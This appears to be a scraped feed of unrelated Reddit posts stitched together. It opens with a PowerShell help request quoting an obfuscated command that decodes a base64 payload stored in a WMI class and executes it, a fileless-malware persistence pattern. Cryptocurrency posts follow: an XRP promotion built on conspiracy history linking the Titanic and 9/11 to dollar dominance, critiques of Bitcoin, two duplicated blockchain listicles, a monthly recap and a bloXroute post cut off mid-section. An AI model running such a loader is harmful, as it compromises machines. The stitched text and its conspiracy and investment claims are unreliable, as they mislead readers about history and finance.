"C:\Windows\Panther\msiexec.exe" $WmiName='root\cimv2:Win32_SysCommand';$Wmi=New-Object Management.ManagementClass($WmiName);$F=([WmiClass]$WmiName).Properties['F'].Value;IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($F)))

I really think this might be the source, can someone help me decipher what that command is doing?
submitted by Bubblinjuggalo to PowerShell [link] [comments]

XRP - The new reserve currency

We are amidst of the most exciting of times never seen before, at least in couple of generations. UBER, Amazon, Swiggy , Whatsapp and all other game changing technologies disrupting the respective industries for good. UBER is more valuable company than 100 years old automobile companies! So after all the important industries disrupted it was time for the King of industries to be disrupted.
CASH IS KING.
To Understand money more better, we need to know the ROOT of new age money.
There was a time before 400 Years when people used gold as medium to exchange goods or services. People use to pawn their gold to a particular gold smith in German and use to get GDR(Gold Deposit Receipt) simply a receipt to redeem gold when needed, but as dealing with gold as medium was not much practically comfortable, people started to use the receipt(GDR) to buy and sell goods and services, as every one recognised and believed the receipt was backed by gold with known gold smith. Once it was popular and became a practice among people to use receipt as medium to exchange value, few smart lads started to create same kind of receipt, now this became a problem to people and gold smith, that’s when historic change happened not only did the goldsmith found a way to create receipts which were not easy to forge also he saw opportunity to create more receipts than the gold he held, that’s when RESERVE BANKING started and from there he perfected the art of balancing the number of receipts which did not create inflation at the same time enough receipts were available in market. The receipts are called as currency in modern days
RESERVE BANKING
Once they perfected the art of reserve banking, they with new found wealth and knowledge kept introducing Reserver Central Banks all over Europe and World with the help of England. England which colonized many countries was funded by the same bankers who made fortune with and Gold, Diamonds looted from world and introduction of LSE(London Stock Exchange).
In early 1900 as England was loosing control and USA being the next World power, these banker had to capture US financial system, with hook and crook(for inquisitive minds a few bread crumbs, sinking of titanic, brenton woods) they introduced Federal Reserve Bank in USA
World Wars
When the whole world was fighting, USA did not participate in those wars instead they choose to sell arms to all nations and strategically they accepted payments only in GOLD, so by end of two wars almost entire planets gold was with USA( Fort Knox).
After world war was over nations did not have gold to trade between nations but as every one knew US dollar was backed by gold so every nation started using dollar as international currency as part Brenton-Wood( 1944) agreement and that made USD very valuable. Slowly USA started to export inflation to other countries and one fine day they could print more USD as there was not enough GOLD to back their USD, so president Nixon did
“ unilateral cancellation of the direct international convertibility of the United States dollar to gold.” — 1971
which means no nation could convert USD to gold which was the underlying faith for nations to accept USD as international reserve currency. France started to question this move and followed by other nations. That’s when USA had to think of creative solution for this crisis.
OIL — The Black Gold and SWIFT
With help of Saudi Arabia(OPEC) USA had forged a deal where only Crude Oil would be sold in USD, the technology or payment rail was SWIFT. SWIFT used USD as underlying currency to transfer value between nations. So if some bank wanted to send money India to Japan they had to use SWIFT payment network which in turn converted INR-USD and from USD-JPY
SWIFT was founded in Brussels in>! 1973!<
Many countries tried to break the the reserve currency status of USD, but everytime it was not very successful and the countries which tried that had to face server retribution from USA, as USA had built a very powerful military-industrial complex through out the world.
Asian currency crisis
Thailand triggered the Asian financial crisis by delinking the baht from the US dollar. The Bank of Thailand cut the baht loose on 2 July 1997 after the currency , had been under sustained attack by speculators(Hedge Funds from USA and London). This crisis spread to Asia.
War on terror
When Iraq wanted to sell their oil in Euro by ditching USD, not only Saddam Hussain dreamt of it, he also went and commissioned a Oil Trade Exchange with high speed internet and he also had done pilot testing, that’s when September 11 attack happened and America had to go for War on terror and they believed Saddam had Weapon of Mass Destruction(WMD) and they destroyed him and his ambitions to trade in Euro
Leaders from Venezuela, Libya(Gaddafi) and Iran tried the same but ended up dead or wounded very badly
Petro Yuan
China has been watching this and they knew it was not easy to bring down USD as they ere the major holder of USD as foreign reserve and they would suffer very much, at the same time USA debt was increasing massively which means, logically USA could not pay interest for at least a century, so China started a long strategic move where they slowly replaced USD with Yuan like asking euro zone to accept Yuan, giving neighboring countries loans in Yuan and One Belt One Road(OBOR) initiative, finally declared PetroYuan which means Oil could be purchased in Yuan which was supported by Russia, Iran and Saudi.
USA could show their aggression as they did with other countries but as China is super power with Russia’s support so they could not use the old strategy.
But USA always had innovative way to handle dollar crisis
The innovative solution — Cryptocurrencies (Blockchain Technologies) or Bitcoin
In 2008, Bitcoin was invented and in over a decade it died many deaths but always came out strong. Cryptocurrency are not backed by anything but, only we all collectively believe and accept there is value in it. It’s non-mutable decentralized ledger where all the transactions are recorded and approved by major of the network participant. It’s not centralized like Bank where database can be hacked or brought down. After a decade the technology is now accepted widely and found some serious application in real world.
Bitcoin could not scale or live up to expectation to be today's currency as it is pathetically slow, high cost of transaction and nearing 51% problem as most of the miners are from China 
XRP new world Currency?
Interestingly there’s a cryptocurrency which is decentralised but controlled by private entity and trying to solve real problem i.e sending money between countries seamless , real time, transparent and dirt cheap. It’s replacing SWIFT (The old payment rail for petrodollar). SWIFT was designed 40 years back, with SWIFT system trillions of dollars are stuck with banks doing nothing which will be released once Ripple replaces SWIFT. Already people in Japan and South Korea, Singapore, USA, Australia and UK have started to use XRP as payment method in day today transaction. XRP has the potential to be currency of every denizen of planet earth. Already central banks and monetary authorities tripping over each other to integrate ripple.
Ripple has wholistic solution to be a global liquidity provider and has been making right moves with IMF, World Bank, Central Banks, Authorities and regulators through the world and slowly and steadily it's progress is on course.
XRP is set to become the new world order international currency. At last, money is changing and will change so fast that you will even not realize that every thing change as it happened with photography.
Future is not seen with eyes but an inquisitive mind.
submitted by bravevenkat to Ripple [link] [comments]

Bitcoin and Cryptocurrencies are in reality a hyperinflationary multilevel-marketing pyramid cult of anarcho-capitalism and contradictory hypocrisy, prove me wrong/change my mind effort post itt

Reminder, Satoshi's Bitcoin and every other cryptocoin is designed to enrich a tiny minority of oligarchs who produce the supply for measurably less work/capital input than late adopters. These members form the inner circle of the cult who are than heavily incentivized to disseminate propaganda and psychological marketing tactics to the public "investors" who further spread the marketing-cult "white paper" claims like a virus in the hope that they will be able to leverage their low-effort low-capital database tokens though the smoke and mirrors and low liquidity exchanges and tape painting in order to pass their bags for real capital as all the later users buy into the dream that they too will become one of the oligarchs.
For future alpaca farmers, Sexton and Saitone laid out some of the major hallmarks of a speculative bubble, including: (1) The asset not the product is the thing being marketed (i.e. live alpacas, not fiber),
Bitcoin cult members sell users the dream of egalitarian wealth, when in reality the math and code behind Bitcoin simply created a system where existing capital is proportionally transfered into Bitcoin during the temporary hyperinflationary phase at an accelerated rate based on how early one begins to to set up server farms. Early users spent measurably less capital to generate significantly more of the supply. The Bitcoin protocol and mining algorithm is not some fancy complex math (Bitcoin mining math amounts to a lottery system, more capital gives more lottery ticket printers). Mining boils down to wasting more work and energy for less output as time passes.
(2) investors have unrealistic expectations (alpaca fiber would replace wool, despite the lack of infrastructure; and besides the fact that people don’t really wear that much wool),
Cryptocoins seek to turn money and now entire industries and services into speculative gift cards where the majorty of the supply is in the hands of a few "pre-sale ICO" kings and a few existing wealthy whales who have set up large warehouses in China, Washington, South East Asia, etc. Are we to expect the future robber barons who bought a bunch of gamer graphics cards to waste energy running this software deserve anything?
https://www.politico.com/magazine/story/2018/03/09/bitcoin-mining-energy-prices-smalltown-feature-217230
https://www.popularmechanics.com/culture/web/a11610/this-is-what-happens-when-a-bitcoin-mine-burns-down-17410755/
Honestly, if the mining software actually produced real world useful work though distributed computing like BOINC ( https://boinc.berkeley.edu/ ) , [email protected] ( http://folding.stanford.edu/ ) - than mining would have a measurable value but instead the computational energy is wasted though a convoluted "guess a random number" game. Also note, guessing a random number and increasing the amount of capital to waste by guessing a random number (leading 0 hash) is not to be confused with a secure decenteralized ledger of trust - this is a gimmicky ass way that can be observed being actively exploited by pools and large hashfarms in many of the smaller PoW altcoins.
See also how smart contracts can be manipulated by large mining operations:
https://steemit.com/ethereum/@dhumphrey/f2pool-manipulates-usd1-2-million-on-the-ethereum-blockchain-during-the-status-im-ico
and note that PoS systems are even bigger scams (i.e. Raiblocks and supposedly the future of Ethereum) where the supply is premined and PoW transaction verification rewards are statistically granted to the richest users who coincidently are the early adopters or existing capital hodlers, poors don't even qualify for staking rewards.
(3) information is controlled through industry sources (most of the information the researchers were able to dig up was put out by breeding associations),
Even in the more reputable publications, journalists boil down the computer science into the marketing claims of what Blockchain and smart contracts cultist CLAIM it can do. These are solutions in search of problems.
Blockchains are inefficenct databases, and lying about data input or stealing the deed to your house never seems to be a problem.
Smart contracts need a data source to trigger, and how can data be trusted in an adveserial decenteralized network? A set of trusted "Oricales" who 'stake' their beanie babies? What's the use case for a smart contract? What happens if someone puts up a smart contract to assisinate the head of all the three letter agencies, the Queen, and the UN, and the international monitary fund?
(4) small scale investors predominate (Foster Farms did not open an alpaca plant).
The cult of bagholders think they are the kings.
The underlying bitcoin/cryptocoin systems are simply a shitty anarcho-capitalist scam cult.
The idealist vision behind ecash is great and all but it's a huge mistake to dismiss the side effect of further enabling a system designed for anarcho-capitalist black markets. This could easily spiral out into a long winded debate and flame war, but ill just point out that the game theory behind bitcoin favors early adopters (just some dudes who ran some software before other people.. software that can be duplicated ad infinitum ) at the expense of extracting real wealth from users who join at any later time.
Bitcoiners claim Satoshi style ecash systems are a response to the 2008 financial collapse, fiat inflation, central banks etc, and yet the replacement system Satoshi designed just exacerbates the existing capital system into a measurably worse oligarchical techno-cult which embraces the enablement of lawlessness. If the claim of "trustless" and "decenteralized" is a main selling point, it's an illusion at best and manipulative propaganda at worst as there are centeral points of control within the cryptocoin ecosystems- i.e. /bitcoin censorship, anonymous developers, mining pool operators, really fucked up exchanges operating behind 7 shell companies in seychelles, the whole shitshow behind tether pulling what amounts to be fraud and theft of large sums of assorted cryptocurrencies simply because exchanges are central power hodlers and can exploit normie small fish traders (exchanges are poised to even exploit the whales) via front running and cooking the books though manipulative insider trading.
There's no accountablity in the cryptocoin space - so while tradiational systems are flawed, we at least know who to blame and how to find them and hold them legally responsible. With anarcho-capital systems, we lose that option. Additionally, the production of the money supply in these specific implementations of cryptocoins are measurably worse than traditional money minting and distribution systems.
One important point: if we actually include all 7 billion people on the earth, most of whom have zero BTC or Ethereum, the Gini coefficient is essentially 0.99+. And if we just include all balances, we include many dust balances which would again put the Gini coefficient at 0.99+. Thus, we need some kind of threshold here. The imperfect threshold we picked was the Gini coefficient among accounts with ≥185 BTC per address, and ≥2477 ETH per address. So this is the distribution of ownership among the Bitcoin and Ethereum rich with $500k as of July 2017.
In what kind of situation would a thresholded metric like this be interesting? Perhaps in a scenario similar to the ongoing IRS Coinbase issue, where the IRS is seeking information on all holders with balances >$20,000. Conceptualized in terms of an attack, a high Gini coefficient would mean that a government would only need to round up a few large holders in order to acquire a large percentage of outstanding cryptocurrency — and with it the ability to tank the price.
With that said, two points. First, while one would not want a Gini coefficient of exactly 1.0 for BTC or ETH (as then only one person would have all of the digital currency, and no one would have an incentive to help boost the network), in practice it appears that a very high level of wealth centralization is still compatible with the operation of a decentralized protocol. Second, as we show below, we think the Nakamoto coefficient is a better metric than the Gini coefficient for measuring holder concentration in particular as it obviates the issue of arbitrarily choosing a threshold.
...However, the maximum Gini coefficient has one obvious issue: while a high value tracks with our intuitive notion of a “more centralized” system, the fact that each Gini coefficient is restricted to a 0–1 scale means that it does not directly measure the number of individuals or entities required to compromise a system.
Specifically, for a given blockchain suppose you have a subsystem of exchanges with 1000 actors with a Gini coefficient of 0.8, and another subsystem of 10 miners with a Gini coefficient of 0.7. It may turn out that compromising only 3 miners rather than 57 exchanges may be sufficient to compromise this system, which would mean the maximum Gini coefficient would have pointed to exchanges rather than miners as the decentralization bottleneck.
Conversely, if one considers “number of distinct countries with substantial mining capacity” an essential subsystem, then the minimum Nakamoto coefficient for Bitcoin would again be 1, as the compromise of China (in the sense of a Chinese government crackdown on mining) would result in >51% of mining being compromised.
https://medium.com/@balajis/quantifying-decentralization-e39db233c28e
https://medium.com/@Bitfinexed
submitted by buttcoin_juice to Buttcoin [link] [comments]

Satoshi quotes prove that the original bitcoin scaling plan was very clear from day one. And guess what ? it was not to have a centrally planned quota below market demand by the use of massive censorship and demonizing miners

An anonymous individual named Theymos controls the 2 main places where discussion happens: bitcointalkforums and bitcoin subreddit, and is known for censoring all discussion favoring certain improvement proposals mainly in the scaling debate. The mere fact that only 1 person can control and censor online social interactivity should be a big warning sign for any liberty minded individual.
I have no proof that this individual is linked to a certain company other than the fact that they both started to act in this space at about the same time, Blockstream was funded in 2014 and Theymos started censorship about rising the blocksize in 2015. Also note that the behavior of this individual serves the motives of the said company that explicitly explained that they plan on collecting fees on their own side-solution that the other (original) scaling solution would not allow them to collect.
The direction they are pushing is also allowing another company named Bitfury to de-anonymize transactions incredibly more easily. Bitfury and Blockstream have both supported the same path for bitcoin (segwit), and both profit from it or plan to do it.
The original scaling plan was however very clear, as per cited in the original whitepaper or satoshi himself:
The [current] cost of mediation increases transaction costs, limiting the minimum practical transaction size and cutting off the possibility for small casual transactions
= bitcoin is invented as digital cash for small casual transactions against the high-fees of the current system.
The proof-of-work also solves the problem of determining representation in majority decision making. If the majority were based on one-IP-address-one-vote, it could be subverted by anyone able to allocate many IPs. Proof-of-work is essentially one-CPU-one-vote. [...] They vote with their CPU power, expressing their acceptance of valid blocks by working on extending them and rejecting invalid blocks by refusing to work on them. Any needed rules and incentives can be enforced with this consensus mechanism
= proof of work is the only way to vote in the system = miners are to be trusted to choose the path of the network
We define an electronic coin as a chain of digital signatures.
= segwit destroys the very definition of bitcoin
With computer systems typically selling with 2GB of RAM as of 2008, and Moore's Law predicting current growth of 1.2GB per year, storage should not be a problem even if the block headers must be kept in memory
= Moore's Law ensures that we never reach a scaling limit
source for all of the above quotes: https://www.bitcoin.com/bitcoin.pdf
It can be phased in, like: if (blocknumber > 115000) maxblocksize = largerlimit It can start being in versions way ahead, so by the time it reaches that block number and goes into effect, the older versions that don’t have it are already obsolete.
= satoshi wrote some code on how to prepare a hardfork to a bigger blocksize YEARS ago
“At first, most users would run network nodes, but as the network grows beyond a certain point, it would be left more and more to specialists with server farms of specialized hardware.” [...] Bitcoin generation should end up where it’s cheapest.
= satoshi envisioned asics, mining farms, and "specialized hardware" like asicboost, and that mining will end up in farms where it is cheap to mine
Bitcoin can already scale much larger than [Visa] with existing hardware for a fraction of the cost. It never really hits a scale ceiling.
satoshi in 2009, can it be any more clear ?
submitted by zhell_ to btc [link] [comments]

How can I create a blockchain from scratch?

Blockchain technology was announced initially as “A Peer-to-Peer Electronic Cash System” by Satoshi Nakamoto in the year 2008. It is a list of transaction records known as blocks and linked together by using cryptography. In other words, blockchain is a distributed ledger and each block consists of cryptographic hash of the previous block, transaction data, and a timestamp.

Eight Steps to Make Blockchain from Scrap

#Step 1
Identify the Right Use-Case
Look for the suitable use-case complementing your business sense and needs. Get your data authenticated and verified by including encryption, and digital signatures. Use, smart asset management to include payment, exchange, escrow, issuance, and retirement payment options.
#Step 2
Identify the Right Consensus Mechanism
Once, you have opted for use-case, you need to choose the right Consensus Mechanism. Over the years, there have been multiple distributed ledger systems you can choose like Byzantine fault tolerant, Proof of stake, Round Robin, Federated consensus, and Derived PBFT.
#Step 3
Choose the Suitable Platform
Fortunately, there are many free of cost and independent blockchain platforms to use such as Chain Core, BigChainDB, Eris:db, Domus Tower Blockchain, Stellar, Symbiont Assembly, Hyperledger Sawtooth Lake, and Quorum.
#Step 4
Designing the Nodes
Blockchain solutions are distinguished into two- Permissioned (Government run land registry) and Permission-less (Where everyone can be a miner such as Bitcoin). The solutions can be private, public, and hybrid. Meanwhile, in this stage decide whether the nodes will access on premise, cloud or both. You also need to opt for base operating systems such as Debian, CentOS, Windows, Ubuntu, and Red Hat.
#Step 5
Create the Blockchain Illustration
Multiple blockchain platforms require vigilant and planned configuration that must include permissions, asset re-issuance, asset issuance, key management, native assets, address formats, and block signatures.
#Step 6
Creating APIs
Some blockchain has inbuilt APIs and some don’t. Your API must generate key pairs, and address, perform audit, authenticate data, smart asset lifecycle management and data storage and retrieval.
#Step 7
Create the Admin and User Interface
Now is the time to choose the right programming languages (JAVA, JavaScript, Ruby, Python, and Solidity), front end, external databases (MongoDB, and MySQL), and severs (mail servers, Web servers, and FTP servers).
#Step 8
Infusing Future Tech
By adding biometrics, bots, artificial intelligence, cloud, data analytics, machine learning and cognitive services you can accentuate your blockchain technology.
References:
#8 Steps to Build a Blockchain Solution
How do you make Blockchain?
submitted by Sonaliiiii to u/Sonaliiiii [link] [comments]

How do you make Blockchain?

How do you make Blockchain?
Blockchain technology was announced initially as “A Peer-to-Peer Electronic Cash System” by Satoshi Nakamoto in the year 2008. It is a list of transaction records known as blocks and linked together by using cryptography. In other words, blockchain is a distributed ledger and each block consists of a cryptographic hash of the previous block, transaction data, and a timestamp.


https://preview.redd.it/pdbd1r2qlsi31.jpg?width=860&format=pjpg&auto=webp&s=762eda991eabcb1a033b192801f31dec18413287

Eight Steps to Make Blockchain from Scrap

#Step 1
Identify the Right Use-Case
Look for the suitable use-case complementing your business sense and needs. Get your data authenticated and verified by including encryption, and digital signatures. Use, smart asset management to include payment, exchange, escrow, issuance, and retirement payment options.
#Step 2
Identify the Right Consensus Mechanism
Once, you have opted for use-case, you need to choose the right Consensus Mechanism. Over the years, there have been multiple distributed ledger systems you can choose like Byzantine fault tolerant, Proof of stake, Round Robin, Federated consensus, and Derived PBFT.
#Step 3
Choose the Suitable Platform
Fortunately, there are many free of cost and independent blockchain platforms to use such as Chain Core, BigChainDB, Eris:db, Domus Tower Blockchain, Stellar, Symbiont Assembly, Hyperledger Sawtooth Lake, and Quorum.
#Step 4
Designing the Nodes
Blockchain solutions are distinguished into two- Permissioned (Government run land registry) and Permission-less (Where everyone can be a miner such as Bitcoin). The solutions can be private, public, and hybrid. Meanwhile, in this stage decide whether the nodes will access on premise, cloud or both. You also need to opt for base operating systems such as Debian, CentOS, Windows, Ubuntu, and Red Hat.
#Step 5
Create the Blockchain Illustration
Multiple blockchain platforms require vigilant and planned configuration that must include permissions, asset re-issuance, asset issuance, key management, native assets, address formats, and block signatures.
#Step 6
Creating APIs
Some blockchain has inbuilt APIs and some don’t. Your API must generate key pairs, and address, perform audit, authenticate data, smart asset lifecycle management and data storage and retrieval.
#Step 7
Create the Admin and User Interface
Now is the time to choose the right programming languages (JAVA, JavaScript, Ruby, Python, and Solidity), front end, external databases (MongoDB, and MySQL), and severs (mail servers, Web servers, and FTP servers). Experts at Sphinx Worldbiz can help you in choosing and creating the right admin and user interface to enhance your blockchain technology.
#Step 8
Infusing Future Tech
By adding biometrics, bots, artificial intelligence, cloud, data analytics, machine learning and cognitive services you can accentuate your blockchain technology.
submitted by AniiJain to u/AniiJain [link] [comments]

r/Bitcoin recap - October 2018

Hi Bitcoiners!
I’m back with the 22nd monthly Bitcoin news recap. I Hope you like the new, categorized format!
For those unfamiliar, each day I pick out the most popularelevant/interesting stories in Bitcoin and save them. At the end of the month I release them in one batch, to give you a quick (but not necessarily the best) overview of what happened in bitcoin over the past month.
You can see recaps of the previous months on Bitcoinsnippets.com
A recap of Bitcoin in October 2018
Adoption
SegWit adoption rises to over 50% (4 Oct)
A large bus company in Europe accepts bitcoin (4 Oct)
A holiday home in Germany accepts bitcoin (4 Oct)
A coffee shop in Bern, Switzerland accepts Lightning Network payments (5 Oct)
A shop at Brisbane airport accepts bitcoin (7 Oct)
An exchange in Latin America adds Lightning Network payments (12 Oct)
Some Venezuelans have turned to cryptocurrency and gaming currencies to make money (13 Oct)
Mycelium wallet will finally support SegWit (16 Oct)
Australia Post helps Bitcoin adoption through its digital identity service (24 Oct)
Blockchain.com still hasn’t implemented SegWit 1.5 years after their promise (25 Oct)
The Lightning network is now at 12500 open channels (26 Oct)
A bar in Mexico City accepts bitcoin payments (28 Oct)
Development
A BTCPay server can now be deployed in 1 minute (2 Oct)
Bitcoin Core 0.17.0 is now available for download (3 Oct)
Electrum will get a Lightning Network integration (3 Oct)
Scaling Bitcoin Tokyo slides and presentations (5 Oct)
People discuss building on the Lightning Network at an upcoming event (11 Oct)
A Lightning Network-powered E-bike (14 Oct)
Bulletproofs were implemented in Monero resulting in a huge boost in scalability (20 Oct)
Watchtowers were merged into LND (25 Oct)
Wasabi Wallet 1.0 is released! (31 Oct)
Security
A discussion on “out of the box” Bitcoin nodes (20 Oct)
A warning about a “dusting attack” on wallets to deanonymise people (25 Oct)
Mining
By 2032 99% of all bitcoins will have been mined (6 Oct)
Bitmain’s new firmware is causing problems (22 Oct)
Antpool stops including transactions that use SegWit (29 Oct)
Business
The inventor of the World Wide Web launches a platform to redecentralize the Internet (1 Oct)
Coinbase added 5M users in ~6 months (3 Oct)
Yale University will reportedly invest $400M in a cryptocurrency fund (7 Oct)
An interview with the CEO of Bitrefill on their Lightning Network experiences (9 Oct)
The Liquid Network is officially launched as a Bitcoin sidechain (10 Oct)
Fidelity launches a digital asset service (15 Oct)
Goldman Sachs plans to use Bakkt’s cryptocurrency custody service (18 Oct)
Ledger reveals it sold 1.3M hardware wallets (18 Oct)
Goldman Sachs invests in cold storage solution provider BitGo (18 Oct)
Shapeshift’s KYC is now in place (19 Oct)
Coinbase and Circle announce the USDC stable coin (23 Oct)
An investigation finds that some crypto media outlets don’t disclose paid promotional content (25 Oct)
Research
A high-resolution Lightning Network overview (2 Oct)
Education
A guide on how to accept bitcoin using BTCPay server (14 Oct)
An explainer of Neutrino for the Lightning Network (17 Oct)
Bitcoin is the invention of digital scarcity (28 Oct)
10 years ago Satoshi Nakamoto published the Bitcoin Whitepaper to a mailing list (31 Oct)
Regulation & Politics
Scalability discussion at a Senate hearing in the US (12 Oct)
Japan grants cryptocurrency industry self-regulatory status (24 Oct)
Chinese court says it is legal to own and transfer bitcoin (26 Oct)
China’s merchants are legally allowed to accept bitcoin (27 Oct)
A US Presidential candidate wants to exempt cryptocurrencies from capital gains tax (30 Oct)
Archeology (Financial Incumbents)
Anti-cryptocurrency propaganda promoted by American Express (16 Oct)
Many of the banks calling bitcoin a money laundering tool are caught money laundering themselves (19 Oct)
Mastercard files patent for bitcoin transactions on credit cards (26 Oct)
The Visa CEO says cryptocurrency is not a big threat but they will support it if needed (27 Oct)
Banks asking you for the reason for payments is why we need bitcoin (28 Oct)
Price & Trading
Analysis on the activity of ‘whales’ in the bitcoin market (10 Oct)
Bitcoin has been less volatile than Nasdaq, Dow and S&P 500 (24 Oct)
Fun & Other
People discuss the quality of some largely upvoted posts on Bitcoin (7 Oct)
People try to make clear that Bitcoin has no CEO (8 Oct)
An easter egg in the Bitcoin genesis block (12 Oct)
A bitcoin ATM operator gets money back from the police who confiscated it (13 Oct)
eToro creates a cryptocurrency ad with Game of Thrones star (17 Oct)
$194M was moved using bitcoin with a $0.1 fee (19 Oct)
Why Bitcoin and Cryptocurrency have no future (21 Oct)
Elon Musk’s Twitter gets blocked when talking about Bitcoin upon suspicion of being hacked (23 Oct)
Apple co-founder Steve Wozniak plans to travel somewhere using only bitcoin (26 Oct)
A Halloween gift with claimable bitcoin (29 Oct)
Someone gifts $20 of Bitcoin to Janet Yellen’s public email after she makes negative statements on stage (30 Oct)
Bitcoin receives a lot of bad press based on a poorly researched report (30 Oct)
See you all next month! ✌️ Try to do something good for Bitcoin!
submitted by SamWouters to Bitcoin [link] [comments]

There are many 'types' of decentralization. But there is a most important type of decentralization. The one Satoshi talked about when he described Bitcoin (now Bitcoin Cash) as decentralized, and people running full nodes that don't mine don't contribute to it.

Decentralization is one of Bitcoin's main selling points. But what does it actually mean? Skip to the end for the tl;dr
What is centralization As we all know from reading everything Satoshi wrote about his design for Bitcoin from satoshi.nakamotoinstitute.org, Bitcoin was finalized and born in the wake of the 2008 financial crisis. In this event many normal people lost money while banking executives made more and more.
Where does centralization come from These banks, much like the bank you probably use today, are centralized. That is, they alone control everything that happens. There is one database which has everyone's funds, if they decide you are a terrorist or something they can stop you from access your money. They can stop you from making transactions. Even if you have done nothing wrong they can stop payment on your transactions without your consent, lock you out of your funds, and monitor everything you do.
What is decentralization By splitting up the 'power' that a bank has we decentralize it. There is no longer any one single entity that can control txs and funds. This way no one is 'in charge' and no one can give themselves bonuses while other people lose money. This decentralization is a founding point of Bitcoin.
Where does decentralization come from Instead of one company controlling the database of funds like in the centralized model, in Bitcoin's decentralized model there are many people who can all contribute to the database and transaction processing without any one entity having full control. In Bitcoin and other POW based cryptocurrencies this decentralization is achieved by having a number of mining nodes who are not affiliated. As long as no group of miners controls more than 51% of the hashpower, bitcoin remains decentralized.
So only mining nodes contribute to decentralization, then what about non-mining nodes Non-mining nodes, full nodes, relay nodes, or storage nodes are often misunderstood to be part of decentralization. This can be easily cleared up by understanding the above information and then understanding that a non-mining node has no power if the majority of hashpower were to do something they didn't like.
I thought everyone was supposed to run a full node This is another common misunderstanding, in the very beginning Satoshi did intend for everyone to run a node with 4 functions. He is very clear when he explains how this is not the way for the system to function in the future. The plan of bitcoin is that everyone can make trustless peer-to-peer transactions on a decentralized system. Not that everyone would run a home server with the whole blockchain. The business and bitcoin companies that need to have personal and instant validation of their tx can run a full nodes. Random sampling is a tried and trusted method, those unable to host their own relay node would be easily able to verify their transactions with overwhelming mathematically certainty.
So who wants to run a full node then Anyone who wants to can, it's like the Olympics, 'anyone can compete but few feel the need to'. There is no reason the network should be ground to a halt and made useless so people who can't afford to make a transaction would be able to run a full node on a 20 year old computer over a dial up connection. Bitcoin was meant to scale with technology, not become left behind.
What are the 4 functions that all early nodes did When you read the design of Bitcoin which we all invested into, the design on which so much was built, the one at nakamotoinstitute.org, you see Satoshi mention the word 'node' many times. What we today call a full node or non-mining node usually fulfills one of those functions, that of storing the database. Finding other peers for connecting to is done by full nodes and pool operators. Sending and receiving bitcoin, aka a wallet, was also a function every node had. Finally generating coins by putting new transactions into the blockchain was the 4th thing all nodes used to do. Today these 4 actions are largely compartmentalized, as they should be in any good computer science project.
This is Bitcoin, some people are unhappy with the way Bitcoin was designed, well I suppose Bitcoin is simply not for those people and they should maybe find something else to do.
I hope you've all learned something today about how Bitcoin is decentralized, what is means, and how we got there.
tl;dr Banks control all txs and accounts with one database and are centralized, Bitcoin has many miners who perform this actions to make it decentralized. Non-mining nodes don't contribute to decentralization.
submitted by zcc0nonA to btc [link] [comments]

Why Net Neutrality is the Key to Scaling Blockchains

Why Net Neutrality is the Key to Scaling Blockchains

Why Net Neutrality is the Key to Scaling Blockchains

By Professor Aleksandar Kuzmanovic, Co-Founder and Chief Architect (Original post here)
https://preview.redd.it/8azq2g7jqam21.png?width=800&format=png&auto=webp&s=f084c61058cf8a7777e8244c6b81859c1126263e
Blockchain and net neutrality are two fairly distant topics. So why is net neutrality so important to blockchains and by extension to bloXroute, the blockchain scaling project?

Net neutrality: Defined
Let me start with net neutrality in the way most people might be familiar with the term. Broadly speaking, a fundamental question in the decade long net neutrality debate is the extent to which network operators (or ISPs — Internet Service Providers) should be allowed to discriminate among Internet packet streams to selectively block or adjust quality of service. Application providers (e.g., Google, Amazon) as well as numerous net neutrality proponents, want ISPs to behave like utilities and simply transfer bits. On the other side, ISPs (e.g., AT&T and Comcast) want to boost (and charge more to) certain applications over others.
I was an active participant in this debate. My 2008 NSF CAREER project (a five-year project) was among the first to explore the extent to which network endpoints can detect if ISPs are biased or discriminatory. This wasn’t a purely academic exercise — I was one of the founders of the Measurement Lab, a Google-initiated platform for monitoring net neutrality. Supported by Google’s robust infrastructure and openness to researchers to contribute their monitoring and auditing systems, the Measurement Lab became the largest collection of open Internet performance data on the planet. In principle, it is hard for an ISP, anywhere in the world, to discriminate against an application without the Measurement Lab being capable of detecting it.
Thus, when Uri Klarman, now bloXroute Labs Co-Founder and CEO, came to me and said that net neutrality is the key to scaling blockchains, I was quite intrigued given that the topic was familiar. The core idea behind bloXroute is the following: given that the slow peer-to-peer (P2P) network utilized by blockchains is the main barrier to scaling blockchains today, why not replace the P2P network with a powerful distribution network? People know how to effectively distribute content on the Internet. For example, YouTube alone has more than a billion users¹, and a striking 70% of North American internet traffic² in peak evening hours comes from streaming video and audio sites like Netflix and YouTube. Such massive content distribution would not be possible without content delivery networks. This is in stark contrast with blockchains, where sending a single block once every tens of seconds (Ethereum) or minutes (Bitcoin) is a bottleneck.

Trust is Key
Undoubtedly, Content Delivery Networks (CDNs, such as Akamai) could improve blockchains’ performance, as we explained in one of our previous blogs. The issue is trust. In a blockchain ecosystem, a node does not trust its immediate peers, so how will it trust an entire network, which is far more powerful than any individual node? Content delivery networks are centralized systems that can censor transactions, blocks, or miners of a blockchain network. For example, the network administrators may reject blocks which contain transactions from unauthorized parties, or blocks mined by unauthorized miners according to their own policies, business interests, or legal requirements.

The key question is how to make content delivery networks trustless, such that they can be utilized to scale blockchains, yet deprived from the ability to exercise its censorship and other powers mentioned above. Thus, contrary to the “classical” net neutrality problem, where ISPs aim to differentiate traffic in order to monetize their services, here, the bloXroute network must prove to blockchains that it cannot be biased (even if it wanted to) without being caught and replaced. We call this concept provable net neutrality. The key properties associated with this concept are the following. First, the network should not be able to censor information based on the content of blocks. Second, the network should not be able to censor nodes. Third, nodes should be able to continuously audit the above properties, and in case of network misbehavior, to abandon and replace the network. Fourth, the network should be available for use by all nodes and miners.

Censorship Resistant: Information and Nodes
To prevent bloXroute from stopping the propagation of any block based on its content, blocks are propagated after being encrypted. If the network cannot see the content of blocks, it cannot discriminate blocks based on the content. This is essential for bloXroute because any request (e.g., from third parties, authorities, or anyone else) to stop serving a particular transaction cannot be fulfilled, simply because bloXroute has no insight into the content of blocks. Indeed, any miner is capable of placing an arbitrary transaction in a block and disseminating it through bloXroute’s network, and no-one can stop it. Hence, the most powerful blockchain primitive is retained.
In order to ensure bloXroute is not preventing individual nodes from propagating their blocks, nodes do not have to propagate blocks directly to bloXroute. In case a block is not propagated by bloXroute (e.g., due to a temporary server failure), the sending node will propagate it to a peer on the P2P network, which will relay it to bloXroute, obscuring the block’s origin from bloXroute. For example, a node that mined a block in China could relay it to a node in Europe, which then sends the block via bloXroute.

Continually Audit
